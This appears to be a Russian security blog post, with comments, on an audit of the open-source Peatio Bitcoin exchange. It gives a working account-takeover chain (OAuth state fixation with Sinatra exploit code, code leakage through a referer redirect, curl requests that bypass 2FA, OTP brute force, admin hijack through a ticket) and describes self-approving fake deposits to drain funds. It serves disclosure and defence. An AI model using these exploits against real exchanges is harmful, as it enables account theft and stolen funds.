Взлом биткоин биржи на Rails

    В последнее время появилась масса биткоин сервисов. И то что раньше было проектом «for fun» неожиданно стало хранить десятки и даже сотни тысяч долларов. Цена биткоина выросла, но уровень безопасности биткоин сервисов остался таким же низким.

    Ради портфолио мы провели бесплатный аудит биткоин биржи с открытым кодом Peatio использующей Ruby on Rails. Репорт в pdf можно скачать тут. Самое интересное что в результате нашлись не очередные унылые рейс кондишены или SQLi, а довольно таки любопытная цепочка багов ведущая к угону аккаунта и краже существенной части горячего кошелька.

    Угон аккаунта


    image

    В глаза сразу бросается «Вход через Weibo» (это у китайцев популярная социалка). Если почитать шпаргалку по безопасности OAuth становится очевидно, там где OAuth там и угон аккаунта.

    Присоединение Вейбо атакующего к аккаунту жертвы
    В omniauth-weibo-oauth2 был баг фиксирующий state. state это важный параметр для защиты от CSRF, и защита от него была встроена (не сразу, конечно) в omniauth. Вот только строчка

    session['omniauth.state'] = params[:state] if v == 'state'
    

    выключала эту защиту, вставляя в session['omniauth.state'] значение из GET параметра. Теперь можно зафиксировать state=123 и использовать code выпущенный для вейбо атакующего. Пример эксплуатации:
    require 'sinatra'
    get '' do
    
      conn = Faraday.new(:url => 'https://api.weibo.com')
      new_url = conn.get do |r|
        r.url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123"
    
        r.headers['Cookie'] =<<COOKIE
    YourWeiboCookies
    COOKIE
    
        r.options.timeout = 4        
        r.options.open_timeout = 2
      end.headers["Location"]
      redirect new_url
    end
    
    get '/peatio_demo' do
      response.headers['Content-Security-Policy'] = "img-src 'self' https://yunbi.com"
      "<img src='https://yunbi.com/auth/weibo?state=123'><img src=''>"
    end
    

    В результате мы имеем вейбо атакующего подключенным к аккаунты жертвы на бирже, и можем в него зайти напрямую.

    А если Вейбо уже подключен у жертвы?
    Второй аккаунт подключить нельзя, поэтому надо найти способ украсть code для текущего вейбо жертвы.
    Вейбо не привязывает code к redirect_uri (что само по себе грубая ошибка, но зарепортить китайцам я не смог) а значит найдя страницу сливающую код через рефереры мы достигнем цели. Поиски такой страницы как и опен редиректа не увенчались успехом, но в самом конце интересная строчка в DocumentsController спасла положение:

    if not @doc
      redirect_to(request.referer || root_path)
      return
    end
    

    Если документ не найден то происходит редирект на request.referer, а значит следующая цепочка редиректов сольет код:

    1. attacker_page редиректит на weibo.com/authorize?...redirect_uri=http://app/documents/not_existing_doc%23…
    2. Weibo неправильно парсит redirect_uri c %23 и редиректит жертву на app/documents/not_existing_doc#?code=VALID_CODE
    3. Peatio не может найти not_existing_doc и возвращает Location заголовок равный текущему request.referer который все еще attacker_page (браузер его продолжает слать с самого начала)
    4. Браузер копирует фрагмент #?code=VALID_CODE и загружает attacker_page#?code=VALID_CODE. Теперь код на странице может прочитать VALID_CODE через location.hash и загрузить настоящий app/auth/weibo/callback?code=VALID_CODE чтобы зайти в аккаунт жертвы на бирже.

    Итак, мы угнали аккаунт у пользователей с Вейбо и даже без. Но дальше нас останавливает двух-факторная аутенфикация.

    Обход 2FA


    Peatio из коробки заставляет всех пользователей использовать Google Authenticator и/или SMS коды для важных функций (вывод биткоинов). А значит нам так или иначе нужно найти способ обхода.
    Если у жертвы включен только Google Authenticator
    image
    В SmsAuthsController была серьезная ошибка — фильтр two_factor_required! вызывался только для экшена show, но не для экшена update который то и был ответственен за подключение SMS 2FA.

    before_action :auth_member!
    before_action :find_sms_auth
    before_action :activated?
    before_action :two_factor_required!, only: [:show]
    
    def show
      @phone_number = Phonelib.parse(current_user.phone_number).national
    end
    
    def update
      if params[:commit] == 'send_code'
        send_code_phase
      else
        verify_code_phase
      end
    end
    

    А значит минуя запросы на show мы шлем запросы напрямую в update:
    curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code’
    image
    curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’
    image
    При подключении SMS 2FA мы можем получать коды на наш номер и выводить биткоины на свой адрес.

    Если у жертвы SMS и Authenticator
    Если жертва-параноик подключила оба метода 2FA то работа становится чуть сложнее. Система уязвима к брутофорсу 2FA кодов, другими словами её очень легко обойти. В отличии от обычного пароля, где 36^8+ вариантов, в одноразовом коде всего 1 миллион вариантов. Трех дней достаточно чтобы спокойно его угадать. Можете посчитать на OTP Bruteforce Calculator сами:
    image
    Без защиты от брута 2FA не имеет смысла, вот прямо совсем. Распространенное заблуждение, кстати, что 30-секундное окно делает брутофорс сложнее. На самом деле разницы практически нет, что 1 секунду что 24 часа этот код активен, 3 дня будет достаточно.

    Если только SMS 2FA
    Это выглядит как самый сложный вариант — ведь брутофорсить незаметно не получится и жертва сразу заметит подозрительные SMS на свой номер. Однако, очередная ошибка в коде нам поможет:
    def two_factor_by_type
      current_user.two_factors.by_type(params[:id])
    end
    

    В данном методе не используется скоуп «activated» а значит можно продолжать брутофорсить 2FA типа Google Authenticator как и в предыдущем случае, несмотря на то что он никогда не был активирован, ведь seed у него уже сгенерирован!

    Атакуем админа


    Теперь когда мы научились угонять и обходить 2FA для любого пользователя попробуем применить полученный эксплоит с умом. Мы не будем охотиться за юзерами, а сразу напишем такой тикет админу «What is wrong with my account can you please check? i.will.hack.you/now». После посещения этой страницы наш скрипт угонит админский аккаунт.
    image
    К сожалению, выяснилось что админ практически ничего не может. Нет функций «послать все биткоины на Х» или «добавить У биткоинов этому юзеру». Единственная зацепка это возможность одобрения фиат депозитов сделанных юзерами. А значит мы можем создать депозит на много денег и сами его одобрить:
    image
    Дальше мы можем скупить все доступные на ордерах биткоины и моментально их вывести (моментально только потому что мы и есть админ и сами же одобрим свой Withdraw запрос, выводы в обменке делаются вручную!). Но куда больше профита имхо принесет вариант когда мы будем тихонько пить кровь из биржи неделю-другую.

    Мораль:


    1. Никогда не добавляйте вход через социалки в важные сайты. В них есть слишком много идеологических изъянов, поэтому лучше вообще не связываться.
    2. Если уж и решили делать двух-факторную авторизацию, делайте правильно с самого начала — четко проследите порядок действий для добавления нового метода и предотвратите брутофорс путем блокировки аккаунта после N попыток.
    3. Создавайте отдельного Суперадмина с функцией вливания произвольного числа денег в систему. Он не должен иметь возможности читать тикеты и вообще этот аккаунт надо хранить как зеницу ока.

    Спасибо за внимание, и если вы хотите обезопасить свой сервис, вы знаете к кому обратиться.
    Share post

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 13

      0
      Интересно, почему такой низкий уровень безопасности именно на Bitcoin-биржах. Ведь регулярно угоняют аккаунты, регулярно биржи «падают». Про классические банки такого не слышно.
      Я не до конца понял из статьи только одно. В реальности эта биржа существует, и полученные наработки могли бы быть применены к настоящим проектам? Или это «open-source» проект для забавы, который в реальности не применяется?
        +2
        Биткоин такая уникальная штука. Раньше взломал ты банк, потом тебе надо дропов искать, как то сделать незаметный перевод, и вообще все легко отслеживается, контролируется и даже ревертится. Ломать онлайн банки тупо невыгодно и муторно.
        А вот посмотрите на битштамп. У них украли 5 миллионов баксов недавно. Все, больше их никогда не вернут, и вора никогда не вычислят (если он не полный идиот, конечно). Что делает все связанное с биткоинами очень привлекательной добычей.

        Опенсорсная биржа поддерживается реальной китайской биржей yunbi.com (их код улучшенная приватная версия пеатио). Насколько я знаю пеатио используют 5-10 уже работающих обменок в разных странах.
          0
          Все же я не понимаю: цепочка по которой передаются биткоины у всех на виду. Можно на каждую из них отослать по 1 центу с указанием в названии платежа а-ля «Это полиция/ФБР/и тд, мы расследуем кражу, просьба с нами связаться» — ведь по-любому таким образом можно выйти на обменник, а там уже проще или я недопонимаю многого?
            0
            В биткойн-протоколе нет названия платежа. То, что вы видите на blockchain.info — самодеятельность этого сервиса.

            Отправить по одному центу можно, но что заставит «честного» получателя связываться с властью? Если вы в своем кошельке вдруг увидите купюру с штампиком «Эта купюра была украдена, явитесь в банк по адресу Урюпинск, ул. Ленина, 18, спросить Павла Петровича» — ваши действия? Поедете в Урюпинск или попытаетесь сплавить купюру дальше?

            Ну и наконец — в биткойне нет законов и наказаний. Есть лишь математика.
            Если у тебя есть приватный ключ — ты можешь делать что хочешь. В этой связке само понятие «кражи» попросту неопределено. Если нет закона — то никто тебя и судить по нему не может. И наказать тоже.
              0
              Все, больше их никогда не вернут, и вора никогда не вычислят (если он не полный идиот, конечно).
              Если все так анонимано, то как злоумышленник может «спалиться»?
                0
                Перевести деньги прямо в обменку без миксера например, выдать свой реальный айпи нодам и тд. Способов натупить много, но если человек знает что делает то его не отследить.
          +1
          > Интересно, почему такой низкий уровень безопасности именно на Bitcoin-биржах.
          > Ведь регулярно угоняют аккаунты, регулярно биржи «падают». Про классические банки такого не слышно.

          Потому что «классические» банки делают не второкурсники на каникулах.
          Классические банки берут существенный процент за операции, позволяющий им нанимать профессионалов.
          Классический банк имеет меньше рисков, ведь безналичный перевод можно откатить, а клиенты идентифицированы по паспорту. Если банк видит в логах, что Вася Пупкин нарисовал себе миллион на счете, а потом перевел часть в другой банк, а часть снял в банкомате — то перевод возвращается, а домой к Васе приходят дяденьки, проводят обыск и изымают у Васи незаконно нажитые средства.
            0
            >Потому что «классические» банки делают не второкурсники на каникулах.
            Да, делают дипломированные специалисты, которых больше никуда не взяли.

            >Классические банки берут существенный процент за операции, позволяющий им нанимать профессионалов.
            Позволяющий, но они все равно их не нанимают. Зарепортить XSS или что посерьезней обычно целый квест. Вон был пост про liqpay API у приватбанка. Да надо быть полным дебилом чтобы такую кривую архитектуру сделать. Даже второкурсник это понимает. Про профессионализм банков вообще не в кассу. У связаного банка например был CSRF на обновление пароля (да и вообще везде), у тинькоф XSS, и даже не нашел способа зарепортить.

            >Классический банк имеет меньше рисков, ведь безналичный перевод можно откатить, а клиенты идентифицированы по паспорту. Если банк видит в логах, что Вася Пупкин нарисовал себе миллион на счете, а потом перевел часть в другой банк, а часть снял в банкомате — то перевод возвращается, а домой к Васе приходят дяденьки, проводят обыск и изымают у Васи незаконно нажитые средства.
            Вот в этом и дело. Чтобы получить чистый миллион надо сначала существенный процент на отмыв через дропов (я в этом не силен но на вскидку так же как и с украденными кредитками процентов 50+). Плюс у банков ДОФИГА антифродовых датчиков и 5 миллионов как у битштампа куда попало не переведутся.
              0
              > Плюс у банков ДОФИГА антифродовых датчиков и 5 миллионов как у битштампа куда попало не переведутся.

              А, совсем забыл. Банковский сервер можно «остановить в случае обнаружения нештатной ситуации», а с биткойнами «датчики» не задействуешь.
              Если стали известны приватные ключи (или алгоритмы их генерации) — то можно сервер биржи хоть из розетки выключить, хоть от интернета оторвать, хоть вообще в расплавленный свинец бросить. Это не спасет от того, что биткойны со счета спишутся и уйдут куда-то. А узнать о том, что приватный ключ скомпроментирован как правило нельзя пока с этого счета не спишутся средства куда не планировали.
                0
                Я толком не знаю как происходит банковский перевод но думаю что у каждого банка есть API keys к какой то общей системе, типа SWIFT, а значит если украсть эти credentials то можно со счета банка переводить деньги. Но это все не имеет смысла тк легко вернуть назад.

                Биткоин сайт обезопасить тоже не сложно, правильная система с cold storage просто обязательна. Но и она не серебренная пуля. Можно нарисовав деньги на счете планомерно и хладнокровно выводить деньги частями. Я думаю взломы в будущем так и будут работать. Компрометация в январе, узнают о взломе в июне например.
          +3
          Так много подходящих ошибок, что невольно возникает мысль, а не заложил ли их разработчик.
            0
            Я бы сказал слишком банальных ошибок.
              0
              Гарантирую что нет. Во первых баги были в сторонних джемах, во вторых им нет никакого интереса на данном этапе компрометировать свою же систему. Да и украсть так можно часть а не все, чтобы украсть все надо более хитрый бэкдор оставлять.

            Only users with full accounts can post comments. Log in, please.